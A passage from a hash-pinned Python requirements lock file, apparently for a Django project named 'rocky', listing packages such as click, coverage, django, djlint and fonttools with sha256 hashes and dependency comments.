--hash=sha256:a180c5e59792af262bf263b21a3c49353f25945d8d9f70628e73de370d55e1e1 \\\n    --hash=sha256:a277ab8928b9f299723bc1a2dabb1265911b1a76341f90a510368ca44ad9ab66 \\\n    --hash=sha256:a5fe03b42827c13cdccd08e6c0247b6a6d4b5e3cdc53fd1749f5896adcdc2356 \\\n    --hash=sha256:a89c23ef8d2c6b27fd200a42aa4ac72786e7c60d40efdc76e6011260b6e949c4 \\\n    --hash=sha256:adb2597b428735679446b46c8badf467b4ca5f5056aae4d51a19f9570301b1ad \\\n    --hash=sha256:ae196f021b5e7c78e918242d217db021ed2a6ace2bc6ae94c0fc596221c7f58d \\\n    --hash=sha256:ae89db9e5f98a11a4bf50407d4363e7b09b31e55bc117b4f7d80aab97ba009e5 \\\n    --hash=sha256:aed52fea0513bac0ccde438c188c8a471c4e0f457c2dd20cdbf6ea7a450046c7 \\\n    --hash=sha256:b14b2d9dac08e28bb8046a1a0434b1750eb221c8f5b87a68f4fa11a6f97b5e34 \\\n    --hash=sha256:bb6d88045545b26da47aa879dd4a89a71d1dce0f0e549b1abcb31dfe4a8eac49 \\\n    --hash=sha256:bc17a677b21b3502a21f66a8cc64f5bfad4df8a0b8434d661666f8ce90ac3af1 \\\n    --hash=sha256:bd6c2a1c7573c64738d716488d2cdd3c00e340e4835707d8fdb8dc1a66ef164e \\\n    --hash=sha256:c03a41a8784091e67a39648f70c5f97b5b6a37f216896d44d2cdcb82615339a0 \\\n    --hash=sha256:c35abb8bfff0185efac5878da64c45dafd2b37fb0383add1be155a763c1f083d \\\n    --hash=sha256:c36c333c39be2dbca264d7803333c896ab8fa7d4d6f0ab7edb7dfd7aea6e98c0 \\\n    --hash=sha256:c45e9440fb78f8ddabcf714b68f936737a121355bf59f3907f4e17721b9d1aae \\\n    --hash=sha256:cdd68a1fb318e290a2077696b7eb7a21a49163c455979c639bf5a5dcdc46617d \\\n    --hash=sha256:ce3412fbe1e31eb81ea42f4169ed94861c56e643189e1e75f0041f3fe7020abe \\\n    --hash=sha256:cf1493cd8607bec4d8a7b9b004e699fcf8f9103a9284cc94962cb73d20f9d4a3 \\\n    --hash=sha256:cf29836da5119f3c8a8a70667b0ef5fdca3bb12f80fd06487cfa575b3909b393 \\\n    --hash=sha256:d4a48e5b3c2a489fae013b7589308a40146ee081f6f509e047e0e096084ceca1 \\\n    --hash=sha256:d560742f3c0d62afaccf9f41fe485ed69bd7661a241f86a3ef0f0fb8b1a397af \\\n    --hash=sha256:d6038d37043bced98a66e68d3aa2b6a35505dc01328cd65217cefe82f25def44 \\\n    --hash=sha256:d635aab80466bc95771bb78d5370e74d36d1fe31467b6b29b8b57b2a3cd7d22c \\\n    --hash=sha256:e044c39e41b92c845bc815e5ae4230804e8e7bc29e399b0437d64222d92809dd \\\n    --hash=sha256:e060d01aec0a910bdccb8be71faf34e7799ce36950f8294c8bf612cba65a2c9e \\\n    --hash=sha256:e1421b502d83040e6d7fb2fb18dff63957f720da3d77b2fbd3187ceb63755d7b \\\n    --hash=sha256:e17b8d5d6a8c47c85e68ca8379def1303fd360c3e22093a807cd34a71cd082b8 \\\n    --hash=sha256:e712b419df8ba5e42b226c510472b37bd57b38e897d3eca5e8cfd410a29fa859 \\\n    --hash=sha256:e74327fb75de8986940def6e8dee4f127cc9752bee7355bb323cc5b2659b6d46 \\\n    --hash=sha256:e8ac484bf18ce6975760921bb6148041faa8fef0547200386ea0b52b5d27bf7b \\\n    --hash=sha256:eca9705049ad3c7345d574e3510665cb2cf844c2f2dcfe675332677f081cbd46 \\\n    --hash=sha256:edac0f1ab77644605be2cbba52e6b7f630731fc42b34cb0f634be1a6eface56a \\\n    --hash=sha256:effc3f449787117233702311a1b7d8f59cba9ced946ba727bdc329ec69028e24 \\\n    --hash=sha256:f495a1652cf3fbab2eb0639776dad966c2fb874d79d87ca07f9d5f059b8bd215 \\\n    --hash=sha256:f496c9c3cc02230093d8330875c4c3cdfc3b73612a5fd921c65d39cbcef08063 \\\n    --hash=sha256:f59099f9b66f0d7145115e6f80dd8b1d847176df89b234a5a6b3f00437aa0832 \\\n    --hash=sha256:f59ad4c0e8f6bba240a9bb85504faa1ab438237199d4cce5f622761507b8f6a6 \\\n    --hash=sha256:fbccdc05410c9ee21bbf16a35f4c1d16123dcdeb8a1d38f33654fa21d0234f79 \\\n    --hash=sha256:fea24543955a6a729c45a73fe90e08c743f0b3334bbf3201e6c4bc1b0c7fa464\n    # via requests\nclick==8.3.2 \\\n    --hash=sha256:14162b8b3b3550a7d479eafa77dfd3c38d9dc8951f6f69c78913a8f9a7540fd5 \\\n    --hash=sha256:1924d2c27c5653561cd2cae4548d1406039cb79b858b747cfea24924bbc1616d\n    # via\n    #   djlint\n    #   granian\n    #   robotframework-browser\ncolorama==0.4.6 \\\n    --hash=sha256:08695f5cb7ed6e0531a20572697297273c47b8cae5a63ffc6d6ed5c201be6e44 \\\n    --hash=sha256:4f1d9991f5acc0ca119f9d443620b77f9d6b33703e51011c16baf57afb285fc6\n    # via\n    #   click\n    #   djlint\n    #   pytest\n    #   qrcode\n    #   tqdm\ncoverage==7.13.5 \\\n    --hash=sha256:012d5319e66e9d5a218834642d6c35d265515a62f01157a45bcc036ecf947256 \\\n    --hash=sha256:02ca0eed225b2ff301c474aeeeae27d26e2537942aa0f87491d3e147e784a82b \\\n    --hash=sha256:03ccc709a17a1de074fb1d11f217342fb0d2b1582ed544f554fc9fc3f07e95f5 \\\n    --hash=sha256:0428cbef5783ad91fe240f673cc1f76b25e74bbfe1a13115e4aa30d3f538162d \\\n    --hash=sha256:04690832cbea4e4663d9149e05dba142546ca05cb1848816760e7f58285c970a \\\n    --hash=sha256:0590e44dd2745c696a778f7bab6aa95256de2cbc8b8cff4f7db8ff09813d6969 \\\n    --hash=sha256:0672854dc733c342fa3e957e0605256d2bf5934feeac328da9e0b5449634a642 \\\n    --hash=sha256:084b84a8c63e8d6fc7e3931b316a9bcafca1458d753c539db82d31ed20091a87 \\\n    --hash=sha256:0b67af5492adb31940ee418a5a655c28e48165da5afab8c7fa6fd72a142f8740 \\\n    --hash=sha256:0cd9ed7a8b181775459296e402ca4fb27db1279740a24e93b3b41942ebe4b215 \\\n    --hash=sha256:0cef0cdec915d11254a7f549c1170afecce708d30610c6abdded1f74e581666d \\\n    --hash=sha256:0e223ce4b4ed47f065bfb123687686512e37629be25cc63728557ae7db261422 \\\n    --hash=sha256:0e3c426ffc4cd952f54ee9ffbdd10345709ecc78a3ecfd796a57236bfad0b9b8 \\\n    --hash=sha256:0ecf12ecb326fe2c339d93fc131816f3a7367d223db37817208905c89bded911 \\\n    --hash=sha256:10a0c37f0b646eaff7cce1874c31d1f1ccb297688d4c747291f4f4c70741cc8b \\\n    --hash=sha256:145ede53ccbafb297c1c9287f788d1bc3efd6c900da23bf6931b09eafc931587 \\\n    --hash=sha256:1b11eef33edeae9d142f9b4358edb76273b3bfd30bc3df9a4f95d0e49caf94e8 \\\n    --hash=sha256:1b88c69c8ef5d4b6fe7dea66d6636056a0f6a7527c440e890cf9259011f5e606 \\\n    --hash=sha256:258354455f4e86e3e9d0d17571d522e13b4e1e19bf0f8596bcf9476d61e7d8a9 \\\n    --hash=sha256:259b69bb83ad9894c4b25be2528139eecba9a82646ebdda2d9db1ba28424a6bf \\\n    --hash=sha256:2aa055ae1857258f9e0045be26a6d62bdb47a72448b62d7b55f4820f361a2633 \\\n    --hash=sha256:2d3807015f138ffea1ed9afeeb8624fd781703f2858b62a8dd8da5a0994c57b6 \\\n    --hash=sha256:301e3b7dfefecaca37c9f1aa6f0049b7d4ab8dd933742b607765d757aca77d43 \\\n    --hash=sha256:32ca0c0114c9834a43f045a87dcebd69d108d8ffb666957ea65aa132f50332e2 \\\n    --hash=sha256:34b02417cf070e173989b3db962f7ed56d2f644307b2cf9d5a0f258e13084a61 \\\n    --hash=sha256:356e76b46783a98c2a2fe81ec79df4883a1e62895ea952968fb253c114e7f930 \\\n    --hash=sha256:35a31f2b1578185fbe6aa2e74cea1b1d0bbf4c552774247d9160d29b80ed56cc \\\n    --hash=sha256:380e8e9084d8eb38db3a9176a1a4f3c0082c3806fa0dc882d1d87abc3c789247 \\\n    --hash=sha256:3ad050321264c49c2fa67bb599100456fc51d004b82534f379d16445da40fb75 \\\n    --hash=sha256:3e1bb5f6c78feeb1be3475789b14a0f0a5b47d505bfc7267126ccbd50289999e \\\n    --hash=sha256:3f4818d065964db3c1c66dc0fbdac5ac692ecbc875555e13374fdbe7eedb4376 \\\n    --hash=sha256:460cf0114c5016fa841214ff5564aa4864f11948da9440bc97e21ad1f4ba1e01 \\\n    --hash=sha256:48c39bc4a04d983a54a705a6389512883d4a3b9862991b3617d547940e9f52b1 \\\n    --hash=sha256:4b59148601efcd2bac8c4dbf1f0ad6391693ccf7a74b8205781751637076aee3 \\\n    --hash=sha256:4d2afbc5cc54d286bfb54541aa50b64cdb07a718227168c87b9e2fb8f25e1743 \\\n    --hash=sha256:505d7083c8b0c87a8fa8c07370c285847c1f77739b22e299ad75a6af6c32c5c9 \\\n    --hash=sha256:52f444e86475992506b32d4e5ca55c24fc88d73bcbda0e9745095b28ef4dc0cf \\\n    --hash=sha256:5b13955d31d1633cf9376908089b7cebe7d15ddad7aeaabcbe969a595a97e95e \\\n    --hash=sha256:5ec4af212df513e399cf11610cc27063f1586419e814755ab362e50a85ea69c1 \\\n    --hash=sha256:60365289c3741e4db327e7baff2a4aaacf22f788e80fa4683393891b70a89fbd \\\n    --hash=sha256:631efb83f01569670a5e866ceb80fe483e7c159fac6f167e6571522636104a0b \\\n    --hash=sha256:6697e29b93707167687543480a40f0db8f356e86d9f67ddf2e37e2dfd91a9dab \\\n    --hash=sha256:66a80c616f80181f4d643b0f9e709d97bcea413ecd9631e1dedc7401c8e6695d \\\n    --hash=sha256:67e9bc5449801fad0e5dff329499fb090ba4c5800b86805c80617b4e29809b2a \\\n    --hash=sha256:68a4953be99b17ac3c23b6efbc8a38330d99680c9458927491d18700ef23ded0 \\\n    --hash=sha256:6c36ddb64ed9d7e496028d1d00dfec3e428e0aabf4006583bb1839958d280510 \\\n    --hash=sha256:6e3370441f4513c6252bf042b9c36d22491142385049243253c7e48398a15a9f \\\n    --hash=sha256:7034b5c56a58ae5e85f23949d52c14aca2cfc6848a31764995b7de88f13a1ea0 \\\n    --hash=sha256:704de6328e3d612a8f6c07000a878ff38181ec3263d5a11da1db294fa6a9bdf8 \\\n    --hash=sha256:7132bed4bd7b836200c591410ae7d97bf7ae8be6fc87d160b2bd881df929e7bf \\\n    --hash=sha256:7300c8a6d13335b29bb76d7651c66af6bd8658517c43499f110ddc6717bfc209 \\\n    --hash=sha256:750db93a81e3e5a9831b534be7b1229df848b2e125a604fe6651e48aa070e5f9 \\\n    --hash=sha256:777c4d1eff1b67876139d24288aaf1817f6c03d6bae9c5cc8d27b83bcfe38fe3 \\\n    --hash=sha256:78e696e1cc714e57e8b25760b33a8b1026b7048d270140d25dafe1b0a1ee05a3 \\\n    --hash=sha256:79060214983769c7ba3f0cee10b54c97609dca4d478fa1aa32b914480fd5738d \\\n    --hash=sha256:7c8d4bc913dd70b93488d6c496c77f3aff5ea99a07e36a18f865bca55adef8bd \\\n    --hash=sha256:7f2c47b36fe7709a6e83bfadf4eefb90bd25fbe4014d715224c4316f808e59a2 \\\n    --hash=sha256:800bc829053c80d240a687ceeb927a94fd108bbdc68dfbe505d0d75ab578a882 \\\n    --hash=sha256:843ea8643cf967d1ac7e8ecd4bb00c99135adf4816c0c0593fdcc47b597fcf09 \\\n    --hash=sha256:8769751c10f339021e2638cd354e13adeac54004d1941119b2c96fe5276d45ea \\\n    --hash=sha256:8dd02af98971bdb956363e4827d34425cb3df19ee550ef92855b0acb9c7ce51c \\\n    --hash=sha256:8fdf453a942c3e4d99bd80088141c4c6960bb232c409d9c3558e2dbaa3998562 \\\n    --hash=sha256:941617e518602e2d64942c88ec8499f7fbd49d3f6c4327d3a71d43a1973032f3 \\\n    --hash=sha256:972a9cd27894afe4bc2b1480107054e062df08e671df7c2f18c205e805ccd806 \\\n    --hash=sha256:9adb6688e3b53adffefd4a52d72cbd8b02602bfb8f74dcd862337182fd4d1a4e \\\n    --hash=sha256:9b74db26dfea4f4e50d48a4602207cd1e78be33182bc9cbf22da94f332f99878 \\\n    --hash=sha256:9bb2a28101a443669a423b665939381084412b81c3f8c0fcfbac57f4e30b5b8e \\\n    --hash=sha256:9d44d7aa963820b1b971dbecd90bfe5fe8f81cff79787eb6cca15750bd2f79b9 \\\n    --hash=sha256:9dacc2ad679b292709e0f5fc1ac74a6d4d5562e424058962c7bb0c658ad25e45 \\\n    --hash=sha256:9ddb4f4a5479f2539644be484da179b653273bca1a323947d48ab107b3ed1f29 \\\n    --hash=sha256:a1a6d79a14e1ec1832cabc833898636ad5f3754a678ef8bb4908515208bf84f4 \\\n    --hash=sha256:a698e363641b98843c517817db75373c83254781426e94ada3197cabbc2c919c \\\n    --hash=sha256:ad14385487393e386e2ea988b09d62dd42c397662ac2dabc3832d71253eee479 \\\n    --hash=sha256:ad146744ca4fd09b50c482650e3c1b1f4dfa1d4792e0a04a369c7f23336f0400 \\\n    --hash=sha256:b5db73ba3c41c7008037fa731ad5459fc3944cb7452fc0aa9f822ad3533c583c \\\n    --hash=sha256:bd3a2fbc1c6cccb3c5106140d87cc6a8715110373ef42b63cf5aea29df8c217a \\\n    --hash=sha256:bdba0a6b8812e8c7df002d908a9a2ea3c36e92611b5708633c50869e6d922fdf \\\n    --hash=sha256:be3d4bbad9d4b037791794ddeedd7d64a56f5933a2c1373e18e9e568b9141686 \\\n    --hash=sha256:bf69236a9a81bdca3bff53796237aab096cdbf8d78a66ad61e992d9dac7eb2de \\\n    --hash=sha256:bff95879c33ec8da99fc9b6fe345ddb5be6414b41d6d1ad1c8f188d26f36e028 \\\n    --hash=sha256:c555b48be1853fe3997c11c4bd521cdd9a9612352de01fa4508f16ec341e6fe0 \\\n    --hash=sha256:c81f6515c4c40141f83f502b07bbfa5c240ba25bbe73da7b33f1e5b6120ff179 \\\n    --hash=sha256:c9136ff29c3a91e25b1d1552b5308e53a1e0653a23e53b6366d7c2dcbbaf8a16 \\\n    --hash=sha256:ce1998c0483007608c8382f4ff50164bfc5bd07a2246dd272aa4043b75e61e85 \\\n    --hash=sha256:cec2d83125531bd153175354055cdb7a09987af08a9430bd173c937c6d0fba2a \\\n    --hash=sha256:cff784eef7f0b8f6cb28804fbddcfa99f89efe4cc35fb5627e3ac58f91ed3ac0 \\\n    --hash=sha256:d2c87e0c473a10bffe991502eac389220533024c8082ec1ce849f4218dded810 \\\n    --hash=sha256:d7cfad2d6d81dd298ab6b89fe72c3b7b05ec7544bdda3b707ddaecff8d25c161 \\\n    --hash=sha256:d8a7a2049c14f413163e2bdabd37e41179b1d1ccb10ffc6ccc4b7a718429c607 \\\n    --hash=sha256:da305e9937617ee95c2e39d8ff9f040e0487cbf1ac174f777ed5eddd7a7c1f26 \\\n    --hash=sha256:da86cdcf10d2519e10cabb8ac2de03da1bcb6e4853790b7fbd48523332e3a819 \\\n    --hash=sha256:dc022073d063b25a402454e5712ef9e007113e3a676b96c5f29b2bda29352f40 \\\n    --hash=sha256:e0723d2c96324561b9aa76fb982406e11d93cdb388a7a7da2b16e04719cf7ca5 \\\n    --hash=sha256:e092b9499de38ae0fbfbc603a74660eb6ff3e869e507b50d85a13b6db9863e15 \\\n    --hash=sha256:e0b216a19534b2427cc201a26c25da4a48633f29a487c61258643e89d28200c0 \\\n    --hash=sha256:e1c85e0b6c05c592ea6d8768a66a254bfb3874b53774b12d4c89c481eb78cb90 \\\n    --hash=sha256:e301d30dd7e95ae068671d746ba8c34e945a82682e62918e41b2679acd2051a0 \\\n    --hash=sha256:e808af52a0513762df4d945ea164a24b37f2f518cbe97e03deaa0ee66139b4d6 \\\n    --hash=sha256:eb07647a5738b89baab047f14edd18ded523de60f3b30e75c2acc826f79c839a \\\n    --hash=sha256:eb7fdf1ef130660e7415e0253a01a7d5a88c9c4d158bcf75cbbd922fd65a5b58 \\\n    --hash=sha256:ec10e2a42b41c923c2209b846126c6582db5e43a33157e9870ba9fb70dc7854b \\\n    --hash=sha256:ee2aa19e03161671ec964004fb74b2257805d9710bf14a5c704558b9d8dbaf17 \\\n    --hash=sha256:f08fd75c50a760c7eb068ae823777268daaf16a80b918fa58eea888f8e3919f5 \\\n    --hash=sha256:f4cd16206ad171cbc2470dbea9103cf9a7607d5fe8c242fdf1edf36174020664 \\\n    --hash=sha256:f70c9ab2595c56f81a89620e22899eea8b212a4041bd728ac6f4a28bf5d3ddd0 \\\n    --hash=sha256:fbabfaceaeb587e16f7008f7795cd80d20ec548dc7f94fbb0d4ec2e038ce563f\n    # via pytest-cov\ncron-descriptor==2.0.8 \\\n    --hash=sha256:21fae0e6e0e28b19fd6a08e032c700077fe759e9bc1deb1ebe32f277fbc8ba6c \\\n    --hash=sha256:7e487efe14a99a3c1c23bb5302bb75c8bf5d54bca82931bf71f5ae2855939772\n    # via rocky\ncssbeautifier==1.15.4 \\\n    --hash=sha256:78c84d5e5378df7d08622bbd0477a1abdbd209680e95480bf22f12d5701efc98 \\\n    --hash=sha256:9bb08dc3f64c101a01677f128acf01905914cf406baf87434dcde05b74c0acf5\n    # via djlint\ncssselect2==0.9.0 \\\n    --hash=sha256:6a99e5f91f9a016a304dd929b0966ca464bcfda15177b6fb4a118fc0fb5d9563 \\\n    --hash=sha256:759aa22c216326356f65e62e791d66160a0f9c91d1424e8d8adc5e74dddfc6fb\n    # via weasyprint\ndjango==5.1.15 \\\n    --hash=sha256:117871e58d6eda37f09870b7d73a3d66567b03aecd515b386b1751177c413432 \\\n    --hash=sha256:46a356b5ff867bece73fc6365e081f21c569973403ee7e9b9a0316f27d0eb947\n    # via\n    #   django-components\n    #   django-csp\n    #   django-formtools\n    #   django-otp\n    #   django-password-validators\n    #   django-phonenumber-field\n    #   django-rest-knox\n    #   django-structlog\n    #   django-tagulous\n    #   django-two-factor-auth\n    #   django-weasyprint\n    #   djangorestframework\n    #   drf-standardized-errors\n    #   model-mommy\n    #   rocky\ndjango-admin-auto-tests @ git+https://github.com/dekkers/django-admin-auto-tests@f6eb4cbb9112b5aa933313d79e4da823adb41e1e\ndjango-components==0.88 \\\n    --hash=sha256:19641759bcbdafeaf48d4363c11639201fc893946745799b12b77cd7996da8fc \\\n    --hash=sha256:a796077706423b491234625d95bb8084761211ae022df159ead8472a1a256c7a\n    # via rocky\ndjango-csp==4.0 \\\n    --hash=sha256:b27010bb702eb20a3dad329178df2b61a2b82d338b70fbdc13c3a3bd28712833 \\\n    --hash=sha256:d5a0a05463a6b75a4f1fc1828c58c89af8db9364d09fc6e12f122b4d7f3d00dc\n    # via rocky\ndjango-environ==0.12.1 \\\n    --hash=sha256:064ba2d5082f833e6d7fe4def4928bde1eedc0248a417575da7db147aeec1c20 \\\n    --hash=sha256:22859c6e905ab7637fa3348d1787543bb4492f38d761104a3ce0519b7b752845\n    # via rocky\ndjango-formtools==2.5.1 \\\n    --hash=sha256:47cb34552c6efca088863d693284d04fc36eaaf350eb21e1a1d935e0df523c93 \\\n    --hash=sha256:bce9b64eda52cc1eef6961cc649cf75aacd1a707c2fff08d6c3efcbc8e7e761a\n    # via django-two-factor-auth\ndjango-ipware==7.0.1 \\\n    --hash=sha256:d9ec43d2bf7cdf216fed8d494a084deb5761a54860a53b2e74346a4f384cff47 \\\n    --hash=sha256:db16bbee920f661ae7f678e4270460c85850f03c6761a4eaeb489bdc91f64709\n    # via django-structlog\ndjango-otp==1.7.0 \\\n    --hash=sha256:406d2d7f797dc313569270e06d6c360c7d986c9f653eab80b190d663ed5f1133 \\\n    --hash=sha256:961ccf2d80a67303cb46d97427b16c476ee075acfa2b4c82a59d8f1e0745a454\n    # via django-two-factor-auth\ndjango-password-validators==1.7.3 \\\n    --hash=sha256:7175aefa6e86dc002dd3539327bf2d752097651704927dc409a669259e0d2195 \\\n    --hash=sha256:f243a82957e9b17a0c7cf5580f9d7588471cb6530c2dce7ee4e1222dddfe5768\n    # via rocky\ndjango-phonenumber-field==8.4.0 \\\n    --hash=sha256:2b83e843dac35eec6a69880a166487235b737a71a1e38c9a52e5ad67d6996083 \\\n    --hash=sha256:7a1cb3a6456edb54d879f11ffa0acb227ded08c93b587035d0f28093f0e46511\n    # via django-two-factor-auth\ndjango-rest-knox==5.0.4 \\\n    --hash=sha256:0155c0df3d5f66810d98e16d226603fcca224c1cc4c1283faf569b72b726c93c \\\n    --hash=sha256:b4a00d0298286198636ef78a7c9c83be8be2156e5ea771d421fb713d20787414\n    # via rocky\ndjango-structlog==9.1.1 \\\n    --hash=sha256:14342c6c824581f1e063c88a8bc52314cd67995a3bd4a4fc8c27ea37ccd78947 \\\n    --hash=sha256:5b6ac3abdf6549e94ccb35160b1f10266f1627c3ac77844571235a08a1ddae66\n    # via rocky\ndjango-tagulous==2.1.1 \\\n    --hash=sha256:772941e0e359bb5478597fdafdb89e5619310a038e777e9599d0a5c036a05ceb \\\n    --hash=sha256:f5a6453407bcf4047f619f92be42e8b56615e00bbbd718d8810ce6fd5cf4888b\n    # via rocky\ndjango-two-factor-auth==1.18.1 \\\n    --hash=sha256:9d624db63123141cd95a6afe3d626105c3c29a7c8e25a3d93411dd1fac0be464 \\\n    --hash=sha256:ccc9cee10be880037914e572389be6dcae93947709a8a9ff01fb23f7dee254f2\n    # via rocky\ndjango-weasyprint==2.5.0 \\\n    --hash=sha256:1607ef0c8223d7b15e7d4a501a3ec92fb6065179e667135aa50581b7d21aefa3 \\\n    --hash=sha256:362956b650d2a053967471c0ce15857f08e30253a3eeb746aef7c459d3ee9cf9\n    # via rocky\ndjangorestframework==3.17.1 \\\n    --hash=sha256:a6def5f447fe78ff853bff1d47a3c59bf38f5434b031780b351b0c73a62db1a5 \\\n    --hash=sha256:c3c74dd3e83a5a3efc37b3c18d92bd6f86a6791c7b7d4dff62bb068500e76457\n    # via\n    #   django-rest-knox\n    #   drf-standardized-errors\n    #   pytest-drf\n    #   rocky\ndjlint==1.36.4 \\\n    --hash=sha256:16ce37e085afe5a30953b2bd87cbe34c37843d94c701fc68a2dda06c1e428ff4 \\\n    --hash=sha256:17254f218b46fe5a714b224c85074c099bcb74e3b2e1f15c2ddc2cf415a408a1 \\\n    --hash=sha256:3164a048c7bb0baf042387b1e33f9bbbf99d90d1337bb4c3d66eb0f96f5400a1 \\\n    --hash=sha256:3196d5277da5934962d67ad6c33a948ba77a7b6eadf064648bef6ee5f216b03c \\\n    --hash=sha256:3d68da0ed10ee9ca1e32e225cbb8e9b98bf7e6f8b48a8e4836117b6605b88cc7 \\\n    --hash=sha256:4bc6a1320c0030244b530ac200642f883d3daa451a115920ef3d56d08b644292 \\\n    --hash=sha256:53cbc450aa425c832f09bc453b8a94a039d147b096740df54a3547fada77ed08 \\\n    --hash=sha256:6c601dfa68ea253311deb4a29a7362b7a64933bdfcfb5a06618f3e70ad1fa835 \\\n    --hash=sha256:79489e262b5ac23a8dfb7ca37f1eea979674cfc2d2644f7061d95bea12c38f7e \\\n    --hash=sha256:962f7b83aee166e499eff916d631c6dde7f1447d7610785a60ed2a75a5763483 \\\n    --hash=sha256:a2dfb60883ceb92465201bfd392291a7597c6752baede6fbb6f1980cac8d6c5c \\\n    --hash=sha256:bb6903777bf3124f5efedcddf1f4716aef097a7ec4223fc0fa54b865829a6e08 \\\n    --hash=sha256:bda5014f295002363381969864addeb2db13955f1b26e772657c3b273ed7809f \\\n    --hash=sha256:c0478d5392247f1e6ee29220bbdbf7fb4e1bc0e7e83d291fda6fb926c1787ba7 \\\n    --hash=sha256:e58c5fa8c6477144a0be0a87273706a059e6dd0d6efae01146ae8c29cdfca675 \\\n    --hash=sha256:e9699b8ac3057a6ed04fb90835b89bee954ed1959c01541ce4f8f729c938afdd \\\n    --hash=sha256:ead475013bcac46095b1bbc8cf97ed2f06e83422335734363f8a76b4ba7e47c2 \\\n    --hash=sha256:ff9faffd7d43ac20467493fa71d5355b5b330a00ade1c4d1e859022f4195223b\ndrf-standardized-errors==0.14.1 \\\n    --hash=sha256:0610dcd0096b75365102d276022a22e59a1f8db8825bb0bff05e1b7194ba145d \\\n    --hash=sha256:4941e0f81be94eb0904549999cf221988a5b0f524041c3877530e24f70328ed8\n    # via rocky\neditorconfig==0.17.1 \\\n    --hash=sha256:1eda9c2c0db8c16dbd50111b710572a5e6de934e39772de1959d41f64fc17c82 \\\n    --hash=sha256:23c08b00e8e08cc3adcddb825251c497478df1dada6aefeb01e626ad37303745\n    # via\n    #   cssbeautifier\n    #   jsbeautifier\nexceptiongroup==1.3.1 ; python_full_version < '3.11' \\\n    --hash=sha256:8b412432c6055b0b7d14c310000ae93352ed6754f70fa8f7c34141f91c4e3219 \\\n    --hash=sha256:a7a39a3bd276781e98394987d3a5701d0c4edffb633bb7a5144577f82c773598\n    # via\n    #   anyio\n    #   pytest\nfactory-boy==3.3.3 \\\n    --hash=sha256:1c39e3289f7e667c4285433f305f8d506efc2fe9c73aaea4151ebd5cdea394fc \\\n    --hash=sha256:866862d226128dfac7f2b4160287e899daf54f2612778327dd03d0e2cb1e3d03\nfaker==40.13.0 \\\n    --hash=sha256:a0751c84c3abac17327d7bb4c98e8afe70ebf7821e01dd7d0b15cd8856415525 \\\n    --hash=sha256:c1298fd0d819b3688fb5fd358c4ba8f56c7c8c740b411fd3dbd8e30bf2c05019\n    # via factory-boy\nfonttools==4.62.1 \\\n    --hash=sha256:0aa72c43a601cfa9273bb1ae0518f1acadc01ee181a6fc60cd758d7fdadffc04 \\\n    --hash=sha256:0b3ae47e8636156a9accff64c02c0924cbebad62854c4a6dbdc110cd5b4b341a \\\n    --hash=sha256:12859ff0b47dd20f110804c3e0d0970f7b832f561630cd879969011541a464a9 \\\n    --hash=sha256:149f7d84afca659d1a97e39a4778794a2f83bf344c5ee5134e09995086cc2392 \\\n    --hash=sha256:1596aeaddf7f78e21e68293c011316a25267b3effdaccaf4d59bc9159d681b82 \\\n    --hash=sha256:19177c8d96c7c36359266e571c5173bcee9157b59cfc8cb0153c5673dc5a3a7d \\\n    --hash=sha256:1c5c25671ce8805e0d080e2ffdeca7f1e86778c5cbfbeae86d7f866d8830517b \\\n    --hash=sha256:1eecc128c86c552fb963fe846ca4e011b1be053728f798185a1687502f6d398e \\\n    --hash=sha256:268abb1cb221e66c014acc234e872b7870d8b5d4657a83a8f4205094c32d2416 \\\n    --hash=sha256:2d850f66830a27b0d498ee05adb13a3781637b1826982cd7e2b3789ef0cc71ae \\\n    --hash=sha256:2e7abd2b1e11736f58c1de27819e1955a53267c21732e78243fa2fa2e5c1e069 \\\n    --hash=sha256:403d28ce06ebfc547fbcb0cb8b7f7cc2f7a2d3e1a67ba9a34b14632df9e080f9 \\\n    --hash=sha256:40975849bac44fb0b9253d77420c6d8b523ac4dcdcefeff6e4d706838a5b80f7 \\\n    --hash=sha256:486f32c8047ccd05652aba17e4a8819a3a9d78570eb8a0e3b4503142947880ed \\\n    --hash=sha256:49a445d2f544ce4a69338694cad575ba97b9a75fff02720da0882d1a73f12800 \\\n    --hash=sha256:59b372b4f0e113d3746b88985f1c796e7bf830dd54b28374cd85c2b8acd7583e \\\n    --hash=sha256:5a648bde915fba9da05ae98856987ca91ba832949a9e2888b48c47ef8b96c5a9 \\\n    --hash=sha256:5f37df1cac61d906e7b836abe356bc2f34c99d4477467755c216b72aa3dc748b \\\n    --hash=sha256:6706d1cb1d5e6251a97ad3c1b9347505c5615c112e66047abbef0f8545fa30d1 \\\n    --hash=sha256:68959f5fc58ed4599b44aad161c2837477d7f35f5f79402d97439974faebfebe \\\n    --hash=sha256:6acb4109f8bee00fec985c8c7afb02299e35e9c94b57287f3ea542f28bd0b0a7 \\\n    --hash=sha256:7487782e2113861f4ddcc07c3436450659e3caa5e470b27dc2177cade2d8e7fd \\\n    --hash=sha256:7aa21ff53e28a9c2157acbc44e5b401149d3c9178107130e82d74ceb500e5056 \\\n    --hash=sha256:7bca7a1c1faf235ffe25d4f2e555246b4750220b38de8261d94ebc5ce8a23c23 \\\n    --hash=sha256:8d337fdd49a79b0d51c4da87bc38169d21c3abbf0c1aa9367eff5c6656fb6dae \\\n    --hash=sha256:8f8fca95d3bb3208f59626a4b0ea6e526ee51f5a8ad5d91821c165903e8d9260 \\\n    --hash=sha256:90365821debbd7db678809c7491ca4acd1e0779b9624cdc6ddaf1f31992bf974 \\\n    --hash=sha256:92bb00a947e666169c99b43753c4305fc95a890a60ef3aeb2a6963e07902cc87 \\\n    --hash=sha256:93c316e0f5301b2adbe6a5f658634307c096fd5aae60a5b3412e4f3e1728ab24 \\\n    --hash=sha256:942b03094d7edbb99bdf1ae7e9090898cad7bf9030b3d21f33d7072dbcb51a53 \\\n    --hash=sha256:9c125ffa00c3d9003cdaaf7f2c79e6e535628093e14b5de1dccb08859b680936 \\\n    --hash=sha256:9dde91633f77fa576879a0c76b1d89de373cae751a98ddf0109d54e173b40f14 \\\n    --hash=sha256:9e7863e10b3de72376280b515d35b14f5eeed639d1aa7824f4cf06779ec65e42 \\\n    --hash=sha256:a24decd24d60744ee8b4679d38e88b8303d86772053afc29b19d23bb8207803c \\\n    --hash=sha256:a5d8825e1140f04e6c99bb7d37a9e31c172f3bc208afbe02175339e699c710e1 \\\n    --hash=sha256:aa69d10ed420d8121118e628ad47d86e4caa79ba37f968597b958f6cceab7eca \\\n    --hash=sha256:ad5cca75776cd453b1b035b530e943334957ae152a36a88a320e779d61fc980c \\\n    --hash=sha256:b4e0fcf265ad26e487c56cb12a42dffe7162de708762db951e1b3f755319507d \\\n    --hash=sha256:b820fcb92d4655513d8402d5b219f94481c4443d825b4372c75a2072aa4b357a 